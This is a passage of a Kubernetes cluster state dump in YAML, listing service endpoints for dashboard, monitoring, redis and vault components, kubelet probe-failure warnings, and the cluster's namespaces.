    namespace: kubernetes-dashboard
    resourceVersion: "18033929"
    uid: 8dd05fda-8e24-4823-9569-30e11d791e73
  subsets:
  - addresses:
    - ip: 192.168.61.203
      nodeName: k8s-m-2
      targetRef:
        kind: Pod
        name: kubernetes-dashboard-auth-6ff66ccf8d-gstmd
        namespace: kubernetes-dashboard
        uid: 69cf41bf-5d5d-4f2b-8093-f28b727b481f
    ports:
    - name: auth
      port: 8000
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T11:13:28Z"
    creationTimestamp: "2025-09-23T10:16:01Z"
    labels:
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kong
      app.kubernetes.io/version: "3.8"
      enable-metrics: "true"
      endpoints.kubernetes.io/managed-by: endpoint-controller
      helm.sh/chart: kong-2.46.0
    name: kubernetes-dashboard-kong-proxy
    namespace: kubernetes-dashboard
    resourceVersion: "18007904"
    uid: 949c5aca-6ba4-4b31-96b4-419acaa37db9
  subsets:
  - addresses:
    - ip: 192.168.133.132
      nodeName: k8s-m-1
      targetRef:
        kind: Pod
        name: kubernetes-dashboard-kong-648658d45f-qw2xv
        namespace: kubernetes-dashboard
        uid: 10d3fce7-d2f0-44e4-b6d1-ed1ac19b9a82
    ports:
    - name: kong-proxy-tls
      port: 8443
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T11:13:17Z"
    creationTimestamp: "2025-09-23T10:16:02Z"
    labels:
      app.kubernetes.io/component: metrics-scraper
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kubernetes-dashboard-metrics-scraper
      app.kubernetes.io/part-of: kubernetes-dashboard
      app.kubernetes.io/version: 1.2.2
      endpoints.kubernetes.io/managed-by: endpoint-controller
      helm.sh/chart: kubernetes-dashboard-7.13.0
    name: kubernetes-dashboard-metrics-scraper
    namespace: kubernetes-dashboard
    resourceVersion: "18007818"
    uid: 4b9762f9-5988-490a-894b-b139e78eb159
  subsets:
  - addresses:
    - ip: 192.168.133.179
      nodeName: k8s-m-1
      targetRef:
        kind: Pod
        name: kubernetes-dashboard-metrics-scraper-547874fcf-ffmdz
        namespace: kubernetes-dashboard
        uid: f84e9508-9995-47b4-96bc-ca838570ad7a
    ports:
    - port: 8000
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T13:23:49Z"
    creationTimestamp: "2025-09-23T10:16:01Z"
    labels:
      app.kubernetes.io/component: web
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kubernetes-dashboard-web
      app.kubernetes.io/part-of: kubernetes-dashboard
      app.kubernetes.io/version: 1.7.0
      endpoints.kubernetes.io/managed-by: endpoint-controller
      helm.sh/chart: kubernetes-dashboard-7.13.0
    name: kubernetes-dashboard-web
    namespace: kubernetes-dashboard
    resourceVersion: "18033495"
    uid: 84753dce-f4ef-4967-bd35-14c431a1ff7a
  subsets:
  - addresses:
    - ip: 192.168.61.228
      nodeName: k8s-m-2
      targetRef:
        kind: Pod
        name: kubernetes-dashboard-web-7796b9fbbb-9b8kx
        namespace: kubernetes-dashboard
        uid: d47e0ff4-6ec3-4df2-a6e6-8c9d01b5c74d
    ports:
    - name: web
      port: 8000
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T13:25:17Z"
    creationTimestamp: "2025-09-21T18:13:53Z"
    labels:
      app.kubernetes.io/instance: metallb
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: metallb
      app.kubernetes.io/version: v0.15.2
      endpoints.kubernetes.io/managed-by: endpoint-controller
      helm.sh/chart: metallb-0.15.2
    name: metallb-webhook-service
    namespace: metallb-system
    resourceVersion: "18034250"
    uid: 92eedde0-07a0-4cad-90b0-bbf0b2c1c9f1
  subsets:
  - addresses:
    - ip: 192.168.61.233
      nodeName: k8s-m-2
      targetRef:
        kind: Pod
        name: metallb-controller-5754956df6-mx99q
        namespace: metallb-system
        uid: 0d6e3bac-8c3f-4f62-8cd3-8060f662dc8d
    ports:
    - port: 9443
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T11:14:17Z"
    creationTimestamp: "2025-09-22T18:30:50Z"
    labels:
      app.kubernetes.io/instance: metrics-server
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: metrics-server
      app.kubernetes.io/version: 0.8.0
      endpoints.kubernetes.io/managed-by: endpoint-controller
      helm.sh/chart: metrics-server-3.13.0
    name: metrics-server
    namespace: metrics-server
    resourceVersion: "18008211"
    uid: e27f7712-ef71-4a7a-86d6-04d586876527
  subsets:
  - addresses:
    - ip: 192.168.133.167
      nodeName: k8s-m-1
      targetRef:
        kind: Pod
        name: metrics-server-5dd7b49d79-fk9d8
        namespace: metrics-server
        uid: 97a4b6cc-d156-48fe-9670-236128b9ca44
    ports:
    - appProtocol: https
      name: https
      port: 10250
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T13:25:05Z"
    creationTimestamp: "2025-09-26T14:49:44Z"
    labels:
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: alertmanager
      app.kubernetes.io/version: v0.28.1
      endpoints.kubernetes.io/managed-by: endpoint-controller
      helm.sh/chart: alertmanager-1.26.0
    name: prometheus-community-alertmanager
    namespace: prometheus
    resourceVersion: "18034156"
    uid: 75645a1e-c9e5-4e2b-b1be-45d06f681b09
  subsets:
  - addresses:
    - ip: 192.168.61.222
      nodeName: k8s-m-2
      targetRef:
        kind: Pod
        name: prometheus-community-alertmanager-0
        namespace: prometheus
        uid: 8f5ad9ce-3fe8-4153-a3eb-ae4327474854
    ports:
    - name: http
      port: 9093
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T13:25:05Z"
    creationTimestamp: "2025-09-26T14:49:44Z"
    labels:
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: alertmanager
      app.kubernetes.io/version: v0.28.1
      endpoints.kubernetes.io/managed-by: endpoint-controller
      helm.sh/chart: alertmanager-1.26.0
      service.kubernetes.io/headless: ""
    name: prometheus-community-alertmanager-headless
    namespace: prometheus
    resourceVersion: "18034155"
    uid: 4b87c17c-8547-4d27-82f1-dadd12035154
  subsets:
  - addresses:
    - hostname: prometheus-community-alertmanager-0
      ip: 192.168.61.222
      nodeName: k8s-m-2
      targetRef:
        kind: Pod
        name: prometheus-community-alertmanager-0
        namespace: prometheus
        uid: 8f5ad9ce-3fe8-4153-a3eb-ae4327474854
    ports:
    - name: http
      port: 9093
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T13:25:10Z"
    creationTimestamp: "2025-09-26T14:49:44Z"
    labels:
      app.kubernetes.io/component: metrics
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kube-state-metrics
      app.kubernetes.io/part-of: kube-state-metrics
      app.kubernetes.io/version: 2.17.0
      endpoints.kubernetes.io/managed-by: endpoint-controller
      helm.sh/chart: kube-state-metrics-6.3.0
    name: prometheus-community-kube-state-metrics
    namespace: prometheus
    resourceVersion: "18034207"
    uid: 27664ce2-bcb0-4f07-93d6-9c0405dc8e3f
  subsets:
  - addresses:
    - ip: 192.168.61.218
      nodeName: k8s-m-2
      targetRef:
        kind: Pod
        name: prometheus-community-kube-state-metrics-7867455795-mk5k4
        namespace: prometheus
        uid: f7a9e0e2-568f-44ff-8eea-755e53c77c20
    ports:
    - name: http
      port: 8080
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T14:24:38Z"
    creationTimestamp: "2025-09-26T14:49:44Z"
    labels:
      app.kubernetes.io/component: metrics
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: prometheus-node-exporter
      app.kubernetes.io/part-of: prometheus-node-exporter
      app.kubernetes.io/version: 1.9.1
      endpoints.kubernetes.io/managed-by: endpoint-controller
      helm.sh/chart: prometheus-node-exporter-4.48.0
    name: prometheus-community-prometheus-node-exporter
    namespace: prometheus
    resourceVersion: "18045945"
    uid: f0b0dd47-6a14-41df-a835-4eccb177773c
  subsets:
  - addresses:
    - ip: 172.16.30.16
      nodeName: k8s-m-1
      targetRef:
        kind: Pod
        name: prometheus-community-prometheus-node-exporter-jrzbq
        namespace: prometheus
        uid: e3898f8b-fa9c-4e77-880b-0a6c5cf2a592
    - ip: 172.16.30.17
      nodeName: k8s-m-2
      targetRef:
        kind: Pod
        name: prometheus-community-prometheus-node-exporter-nkzcl
        namespace: prometheus
        uid: 7a5f33f7-eb0f-4267-8b73-5d6a05ce48af
    - ip: 172.16.30.18
      nodeName: k8s-m-3
      targetRef:
        kind: Pod
        name: prometheus-community-prometheus-node-exporter-2w626
        namespace: prometheus
        uid: 6a4283fd-86be-4b7f-a65b-15aa5eaa6639
    ports:
    - name: metrics
      port: 9100
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T11:13:26Z"
    creationTimestamp: "2025-09-26T14:49:44Z"
    labels:
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: prometheus-pushgateway
      app.kubernetes.io/version: v1.11.1
      endpoints.kubernetes.io/managed-by: endpoint-controller
      helm.sh/chart: prometheus-pushgateway-3.4.1
    name: prometheus-community-prometheus-pushgateway
    namespace: prometheus
    resourceVersion: "18007887"
    uid: 97542075-b0ff-4458-b29d-0479b11703a6
  subsets:
  - addresses:
    - ip: 192.168.133.187
      nodeName: k8s-m-1
      targetRef:
        kind: Pod
        name: prometheus-community-prometheus-pushgateway-69cb7cfdbb-s5gqp
        namespace: prometheus
        uid: 2b4de705-76d0-4e04-98ba-70afb2966fc4
    ports:
    - name: http
      port: 9091
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T13:25:24Z"
    creationTimestamp: "2025-09-26T14:49:44Z"
    labels:
      app.kubernetes.io/component: server
      app.kubernetes.io/instance: prometheus-community
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: prometheus
      app.kubernetes.io/part-of: prometheus
      app.kubernetes.io/version: v3.6.0
      endpoints.kubernetes.io/managed-by: endpoint-controller
      helm.sh/chart: prometheus-27.39.0
    name: prometheus-community-server
    namespace: prometheus
    resourceVersion: "18034284"
    uid: dfd5688f-9f9f-47d1-ad1e-36e3ae8d3ab4
  subsets:
  - addresses:
    - ip: 192.168.61.201
      nodeName: k8s-m-2
      targetRef:
        kind: Pod
        name: prometheus-community-server-7c866c8b56-8lndl
        namespace: prometheus
        uid: 1d099244-a251-467c-a521-027af54b3f4e
    ports:
    - name: http
      port: 9090
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T14:25:47Z"
    creationTimestamp: "2025-10-19T11:15:44Z"
    labels:
      app.kubernetes.io/instance: redis
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: redis
      app.kubernetes.io/version: 8.2.2
      endpoints.kubernetes.io/managed-by: endpoint-controller
      helm.sh/chart: redis-23.1.3
      service.kubernetes.io/headless: ""
    name: redis-headless
    namespace: redis
    resourceVersion: "18046498"
    uid: 9cf81561-3810-4c6e-8ee6-64168451af51
  subsets:
  - addresses:
    - hostname: redis-replicas-1
      ip: 192.168.133.129
      nodeName: k8s-m-1
      targetRef:
        kind: Pod
        name: redis-replicas-1
        namespace: redis
        uid: 469b01a6-e14a-4403-b68d-8c7a33b70b2c
    - hostname: redis-master-0
      ip: 192.168.34.34
      nodeName: k8s-m-3
      targetRef:
        kind: Pod
        name: redis-master-0
        namespace: redis
        uid: f4b0f3e8-7e7d-4e22-8b81-8a62c53e45e7
    - hostname: redis-replicas-0
      ip: 192.168.34.35
      nodeName: k8s-m-3
      targetRef:
        kind: Pod
        name: redis-replicas-0
        namespace: redis
        uid: 40056cc8-1ed6-474c-a239-abd29a527c86
    - hostname: redis-replicas-2
      ip: 192.168.61.239
      nodeName: k8s-m-2
      targetRef:
        kind: Pod
        name: redis-replicas-2
        namespace: redis
        uid: 9819eacd-77fa-4bd9-9a80-031f26edee0a
    ports:
    - name: tcp-redis
      port: 6379
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T14:25:41Z"
    creationTimestamp: "2025-10-19T11:15:44Z"
    labels:
      app.kubernetes.io/component: master
      app.kubernetes.io/instance: redis
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: redis
      app.kubernetes.io/version: 8.2.2
      endpoints.kubernetes.io/managed-by: endpoint-controller
      helm.sh/chart: redis-23.1.3
    name: redis-master
    namespace: redis
    resourceVersion: "18046453"
    uid: 028bb5f4-fbac-49a0-b68e-f5d7da5313f1
  subsets:
  - addresses:
    - ip: 192.168.34.34
      nodeName: k8s-m-3
      targetRef:
        kind: Pod
        name: redis-master-0
        namespace: redis
        uid: f4b0f3e8-7e7d-4e22-8b81-8a62c53e45e7
    ports:
    - name: tcp-redis
      port: 6379
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T14:25:47Z"
    creationTimestamp: "2025-10-19T11:15:44Z"
    labels:
      app.kubernetes.io/component: replica
      app.kubernetes.io/instance: redis
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: redis
      app.kubernetes.io/version: 8.2.2
      endpoints.kubernetes.io/managed-by: endpoint-controller
      helm.sh/chart: redis-23.1.3
    name: redis-replicas
    namespace: redis
    resourceVersion: "18046499"
    uid: 5c6bd826-e4e5-471c-a267-cf66d4c70bac
  subsets:
  - addresses:
    - ip: 192.168.133.129
      nodeName: k8s-m-1
      targetRef:
        kind: Pod
        name: redis-replicas-1
        namespace: redis
        uid: 469b01a6-e14a-4403-b68d-8c7a33b70b2c
    - ip: 192.168.34.35
      nodeName: k8s-m-3
      targetRef:
        kind: Pod
        name: redis-replicas-0
        namespace: redis
        uid: 40056cc8-1ed6-474c-a239-abd29a527c86
    - ip: 192.168.61.239
      nodeName: k8s-m-2
      targetRef:
        kind: Pod
        name: redis-replicas-2
        namespace: redis
        uid: 9819eacd-77fa-4bd9-9a80-031f26edee0a
    ports:
    - name: tcp-redis
      port: 6379
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    creationTimestamp: "2025-09-22T18:24:00Z"
    labels:
      app.kubernetes.io/instance: vault
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: vault
      endpoints.kubernetes.io/managed-by: endpoint-controller
      helm.sh/chart: vault-0.30.1
    name: vault
    namespace: vault
    resourceVersion: "18033488"
    uid: 6e02e0fe-61cf-41cf-8c2a-99912a822a49
  subsets:
  - addresses:
    - ip: 192.168.61.214
      nodeName: k8s-m-2
      targetRef:
        kind: Pod
        name: vault-0
        namespace: vault
        uid: 841f5aa6-cd14-48da-864c-c768a4b121f1
    ports:
    - name: https-internal
      port: 8201
      protocol: TCP
    - name: http
      port: 8200
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    annotations:
      endpoints.kubernetes.io/last-change-trigger-time: "2025-11-29T11:13:20Z"
    creationTimestamp: "2025-09-22T18:24:00Z"
    labels:
      app.kubernetes.io/instance: vault
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: vault-agent-injector
      endpoints.kubernetes.io/managed-by: endpoint-controller
    name: vault-agent-injector-svc
    namespace: vault
    resourceVersion: "18007845"
    uid: 22e6c542-8b62-4eef-b7a4-de508ed15ad4
  subsets:
  - addresses:
    - ip: 192.168.133.190
      nodeName: k8s-m-1
      targetRef:
        kind: Pod
        name: vault-agent-injector-6ffc786d9f-8dntq
        namespace: vault
        uid: 6f22e9d5-c27b-4821-9e5e-bed6d1e6e960
    ports:
    - name: https
      port: 8080
      protocol: TCP
- apiVersion: v1
  kind: Endpoints
  metadata:
    creationTimestamp: "2025-09-22T18:24:00Z"
    labels:
      app.kubernetes.io/instance: vault
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: vault
      endpoints.kubernetes.io/managed-by: endpoint-controller
      helm.sh/chart: vault-0.30.1
      service.kubernetes.io/headless: ""
      vault-internal: "true"
    name: vault-internal
    namespace: vault
    resourceVersion: "18033487"
    uid: 2a3b3a98-83d1-4404-93df-5afddc96c5f0
  subsets:
  - addresses:
    - hostname: vault-0
      ip: 192.168.61.214
      nodeName: k8s-m-2
      targetRef:
        kind: Pod
        name: vault-0
        namespace: vault
        uid: 841f5aa6-cd14-48da-864c-c768a4b121f1
    ports:
    - name: https-internal
      port: 8201
      protocol: TCP
    - name: http
      port: 8200
      protocol: TCP
- apiVersion: v1
  count: 1649
  eventTime: null
  firstTimestamp: "2025-11-29T11:13:46Z"
  involvedObject:
    apiVersion: v1
    fieldPath: spec.containers{wordpress}
    kind: Pod
    name: artemis-wordpress-574d78556d-7zvkm
    namespace: artemis
    resourceVersion: "18006878"
    uid: 60e08890-423d-44c8-9915-f5addbb4e5c7
  kind: Event
  lastTimestamp: "2025-11-29T15:48:26Z"
  message: 'Readiness probe warning: Probe terminated redirects, Response body: '
  metadata:
    creationTimestamp: "2025-11-29T11:13:46Z"
    name: artemis-wordpress-574d78556d-7zvkm.187c75efcfa6943f
    namespace: artemis
    resourceVersion: "18062255"
    uid: ca3fb64c-5d0d-4b04-9037-c2bf0ae28e2f
  reason: ProbeWarning
  reportingComponent: kubelet
  reportingInstance: k8s-m-1
  source:
    component: kubelet
    host: k8s-m-1
  type: Warning
- apiVersion: v1
  count: 868
  eventTime: null
  firstTimestamp: "2025-11-29T13:25:14Z"
  involvedObject:
    apiVersion: v1
    fieldPath: spec.containers{wordpress}
    kind: Pod
    name: hera-wordpress-7f576688d9-bx44r
    namespace: hera
    resourceVersion: "18032717"
    uid: dfdaf2ae-dd7f-474e-91a5-463965d76c61
  kind: Event
  lastTimestamp: "2025-11-29T15:49:43Z"
  message: 'Liveness probe warning: Probe terminated redirects, Response body: '
  metadata:
    creationTimestamp: "2025-11-29T13:25:14Z"
    name: hera-wordpress-7f576688d9-bx44r.187c7d1c2f0572d3
    namespace: hera
    resourceVersion: "18062498"
    uid: 1c49b25b-62c5-44d6-bcaa-4a8c0a36293a
  reason: ProbeWarning
  reportingComponent: kubelet
  reportingInstance: k8s-m-2
  source:
    component: kubelet
    host: k8s-m-2
  type: Warning
- apiVersion: v1
  count: 39
  eventTime: null
  firstTimestamp: "2025-11-29T11:13:41Z"
  involvedObject:
    apiVersion: v1
    fieldPath: spec.containers{redis}
    kind: Pod
    name: redis-replicas-1
    namespace: redis
    resourceVersion: "18006934"
    uid: 469b01a6-e14a-4403-b68d-8c7a33b70b2c
  kind: Event
  lastTimestamp: "2025-11-29T15:48:21Z"
  message: |
    Readiness probe failed: Timed out
  metadata:
    creationTimestamp: "2025-11-29T13:24:02Z"
    name: redis-replicas-1.187c75ee7bfe9781
    namespace: redis
    resourceVersion: "18062236"
    uid: c1de41a8-4d3e-453d-ae02-e466ff8986bb
  reason: Unhealthy
  reportingComponent: kubelet
  reportingInstance: k8s-m-1
  source:
    component: kubelet
    host: k8s-m-1
  type: Warning
- apiVersion: v1
  count: 19
  eventTime: null
  firstTimestamp: "2025-11-29T13:24:35Z"
  involvedObject:
    apiVersion: v1
    fieldPath: spec.containers{redis}
    kind: Pod
    name: redis-replicas-1
    namespace: redis
    resourceVersion: "18006934"
    uid: 469b01a6-e14a-4403-b68d-8c7a33b70b2c
  kind: Event
  lastTimestamp: "2025-11-29T14:54:52Z"
  message: 'Readiness probe failed: command timed out: "/bin/bash -ec /health/ping_readiness_local_and_master.sh
    1" timed out after 2s'
  metadata:
    creationTimestamp: "2025-11-29T13:24:35Z"
    name: redis-replicas-1.187c7d132461f4a1
    namespace: redis
    resourceVersion: "18052057"
    uid: 3dc404e4-77dd-400c-a878-cb9fd8375f60
  reason: Unhealthy
  reportingComponent: kubelet
  reportingInstance: k8s-m-1
  source:
    component: kubelet
    host: k8s-m-1
  type: Warning
- apiVersion: v1
  count: 32
  eventTime: null
  firstTimestamp: "2025-11-29T13:25:26Z"
  involvedObject:
    apiVersion: v1
    fieldPath: spec.containers{redis}
    kind: Pod
    name: redis-replicas-2
    namespace: redis
    resourceVersion: "18032740"
    uid: 9819eacd-77fa-4bd9-9a80-031f26edee0a
  kind: Event
  lastTimestamp: "2025-11-29T15:33:20Z"
  message: |
    Readiness probe failed: Timed out
  metadata:
    creationTimestamp: "2025-11-29T15:33:20Z"
    name: redis-replicas-2.187c7d1efb0764f9
    namespace: redis
    resourceVersion: "18059385"
    uid: df2266b1-1ad3-4b3a-857f-5b4d7116bbfa
  reason: Unhealthy
  reportingComponent: kubelet
  reportingInstance: k8s-m-2
  source:
    component: kubelet
    host: k8s-m-2
  type: Warning
- apiVersion: v1
  count: 1776
  eventTime: null
  firstTimestamp: "2025-11-29T13:25:09Z"
  involvedObject:
    apiVersion: v1
    fieldPath: spec.containers{vault}
    kind: Pod
    name: vault-0
    namespace: vault
    resourceVersion: "17748563"
    uid: 841f5aa6-cd14-48da-864c-c768a4b121f1
  kind: Event
  lastTimestamp: "2025-11-29T15:49:00Z"
  message: |
    Readiness probe failed: Key                Value
    ---                -----
    Seal Type          shamir
    Initialized        false
    Sealed             true
    Total Shares       0
    Threshold          0
    Unseal Progress    0/0
    Unseal Nonce       n/a
    Version            1.20.1
    Build Date         2025-07-24T13:33:51Z
    Storage Type       file
    HA Enabled         false
  metadata:
    creationTimestamp: "2025-11-29T13:25:09Z"
    name: vault-0.187c7d1b095a4502
    namespace: vault
    resourceVersion: "18062363"
    uid: 83821847-c763-4a6f-9052-e39cc20cbe79
  reason: Unhealthy
  reportingComponent: kubelet
  reportingInstance: k8s-m-2
  source:
    component: kubelet
    host: k8s-m-2
  type: Warning
- apiVersion: v1
  kind: Namespace
  metadata:
    creationTimestamp: "2025-09-21T20:14:37Z"
    labels:
      kubernetes.io/metadata.name: argocd
      name: argocd
    name: argocd
    resourceVersion: "74822"
    uid: 32c71c53-3c86-415f-aab9-afdd0b9b91de
  spec:
    finalizers:
    - kubernetes
  status:
    phase: Active
- apiVersion: v1
  kind: Namespace
  metadata:
    creationTimestamp: "2025-09-23T12:03:43Z"
    labels:
      kubernetes.io/metadata.name: artemis
      name: artemis
    name: artemis
    resourceVersion: "433521"
    uid: 2f18e1d8-b482-4c07-b1e5-b7d513faf52d
  spec:
    finalizers:
    - kubernetes
  status:
    phase: Active
- apiVersion: v1
  kind: Namespace
  metadata:
    creationTimestamp: "2025-10-19T16:12:25Z"
    labels:
      kubernetes.io/metadata.name: calico-system
      name: calico-system
      pod-security.kubernetes.io/enforce: privileged
      pod-security.kubernetes.io/enforce-version: latest
    name: calico-system
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Installation
      name: default
      uid: 63dabbe6-fe37-4e18-82da-dcd4ee115c93
    resourceVersion: "6821069"
    uid: 45053ac1-1aa4-43dc-91a0-30972118405e
  spec:
    finalizers:
    - kubernetes
  status:
    phase: Active
- apiVersion: v1
  kind: Namespace
  metadata:
    creationTimestamp: "2025-09-22T13:18:22Z"
    labels:
      kubernetes.io/metadata.name: cert-manager
      name: cert-manager
    name: cert-manager
    resourceVersion: "220036"
    uid: a7a78348-22dc-46f6-b618-8dcdfb8a1283
  spec:
    finalizers:
    - kubernetes
  status:
    phase: Active
- apiVersion: v1
  kind: Namespace
  metadata:
    creationTimestamp: "2025-09-21T11:09:16Z"
    labels:
      kubernetes.io/metadata.name: default
    name: default
    resourceVersion: "28"
    uid: b886766b-5dc8-41db-a14e-7f8bb6764fc0
  spec:
    finalizers:
    - kubernetes
  status:
    phase: Active
- apiVersion: v1
  kind: Namespace
  metadata:
    creationTimestamp: "2025-09-21T20:37:12Z"
    labels:
      kubernetes.io/metadata.name: grafana
      name: grafana
    name: grafana
    resourceVersion: "78687"
    uid: f5c5bff3-29c0-4259-b8d6-61487c4fee2d
  spec:
    finalizers:
    - kubernetes
  status:
    phase: Active
- apiVersion: v1
  kind: Namespace
  metadata:
    creationTimestamp: "2025-09-22T18:40:18Z"
    labels:
      kubernetes.io/metadata.name: harbor
      name: harbor
    name: harbor
    resourceVersion: "268520"
    uid: f27195cb-8c77-4ff1-9a90-b76c8957e36f
  spec:
    finalizers:
    - kubernetes
  status:
    phase: Active
- apiVersion: v1
  kind: Namespace
  metadata:
    creationTimestamp: "2025-09-23T12:14:27Z"
    labels:
      kubernetes.io/metadata.name: hera
      name: hera
    name: hera
    resourceVersion: "435399"
    uid: 67523210-f776-4e77-b52b-43f38ff8d845
  spec:
    finalizers:
    - kubernetes
  status:
    phase: Active
- apiVersion: v1
  kind: Namespace
  metadata:
    creationTimestamp: "2025-09-21T19:03:17Z"
    labels:
      kubernetes.io/metadata.name: ingress-nginx
      name: ingress-nginx
    name: ingress-nginx
    resourceVersion: "64672"
    uid: 55ceb513-10be-4eed-b7d3-f2689126e130
  spec:
    finalizers:
    - kubernetes
  status:
    phase: Active
- apiVersion: v1
  kind: Namespace
  metadata:
    creationTimestamp: "2025-10-19T15:15:43Z"
    labels:
      kubernetes.io/metadata.name: jaeger
      name: jaeger
    name: jaeger
    resourceVersion: "6810505"
    uid: bd9d6807-9a87-4fa5-b411-20390003928d
  spec:
    finalizers:
    - kubernetes
  status:
    phase: Active
- apiVersion: v1
  kind: Namespace
  metadata:
    creationTimestamp: "2025-09-21T11:09:16Z"
    labels:
      kubernetes.io/metadata.name: kube-node-lease
    name: kube-node-lease
    resourceVersion: "34"
    uid: 39bda6ea-6a4d-47e4-9389-43484de18799
  spec:
    finalizers:
    - kubernetes
  status:
    phase: Active
- apiVersion: v1
  kind: Namespace
  metadata:
    creationTimestamp: "2025-09-21T11:09:16Z"
    labels:
      kubernetes.io/metadata.name: kube-public
    name: kube-public
    resourceVersion: "17"
    uid: 5e6ab592-7d1e-42c9-b370-e89b312f95d8
  spec:
    finalizers:
    - kubernetes
  status:
    phase: Active
- apiVersion: v1
  kind: Namespace
  metadata:
    creationTimestamp: "2025-09-21T11:09:16Z"
    labels:
      kubernetes.io/metadata.name: kube-system
    name: kube-system
    resourceVersion: "8"
    uid: b0a17019-c417-4271-9a67-591acbf10343
  spec:
    finalizers:
    - kubernetes
  status:
    phase: Active
- apiVersion: v1
  kind: Namespace
  metadata:
    creationTimestamp: "2025-09-23T09:56:13Z"
    labels:
      kubernetes.io/metadata.name: kubernetes-dashboard
      name: kubernetes-dashboard
    name: kubernetes-dashboard
    resourceVersion: "413067"
    uid: a9f7c4c0-a694-45ef-baad-c8584971361e
  spec:
    finalizers:
    - kubernetes
  status:
    phase: Active
- apiVersion: v1
  kind: Namespace
  metadata:
    creationTimestamp: "2025-09-21T18:13:53Z"
    labels:
      kubernetes.io/metadata.name: metallb-system
      name: metallb-system
    name: metallb-system
    resourceVersion: "57835"
    uid: 1130a275-7d68-4376-8e03-35b3133dd736
  spec:
    finalizers:
    - kubernetes
  status:
    phase: Active
- apiVersion: v1
  kind: Namespace
  metadata:
    creationTimestamp: "2025-09-22T18:30:49Z"
    labels:
      kubernetes.io/metadata.name: metrics-server
      name: metrics-server
    name: metrics-server
    resourceVersion: "266983"
    uid: 24a86afa-47d1-4563-b894-5bdac9b998ff
  spec:
    finalizers:
    - kubernetes
  status:
    phase: Active
- apiVersion: v1
  kind: Namespace
  metadata:
    creationTimestamp: "2025-09-21T20:25:33Z"
    labels:
      kubernetes.io/metadata.name: prometheus
      name: prometheus
    name: prometheus
    resourceVersion: "76760"
    uid: 463de58d-f944-4689-83b5-32632f490b4e
  spec:
    finalizers:
    - kubernetes
  status:
    phase: Active
- apiVersion: v1
  kind: Namespace
  metadata:
    creationTimestamp: "2025-09-22T21:37:24Z"
    labels:
      kubernetes.io/metadata.name: redis
      name: redis
    name: redis
    resourceVersion: "299852"
    uid: 785aa1db-07c0-4a19-a35f-e85412ce434e
  spec:
    finalizers:
    - kubernetes
  status:
    phase: Active
- apiVersion: v1
  kind: Namespace
  metadata:
    creationTimestamp: "2025-10-19T16:11:25Z"
    labels:
      kubernetes.io/metadata.name: tigera-operator
      name: tigera-operator
      pod-security.kubernetes.io/enforce: privileged
    name: tigera-operator
    resourceVersion: "6820840"
    uid: 17cfe747-df7b-44cb-ae61-b134a2e7dd2c
  spec:
    finalizers:
    - kubernetes
  status:
    phase: Active
- apiVersion: v1
  kind: Namespace
  metadata:
    creationTimestamp: "2025-09-21T20:18:48Z"
    labels:
      kubernetes.io/metadata.name: vault
      name: vault
    name: vault
    resourceVersion: "75723"
    uid: 782a650e-5dc5-49c9-b398-5ba47f963692
  spec:
    finalizers:
    - kubernetes
  status:
    phase: Active
- apiVersion: v1
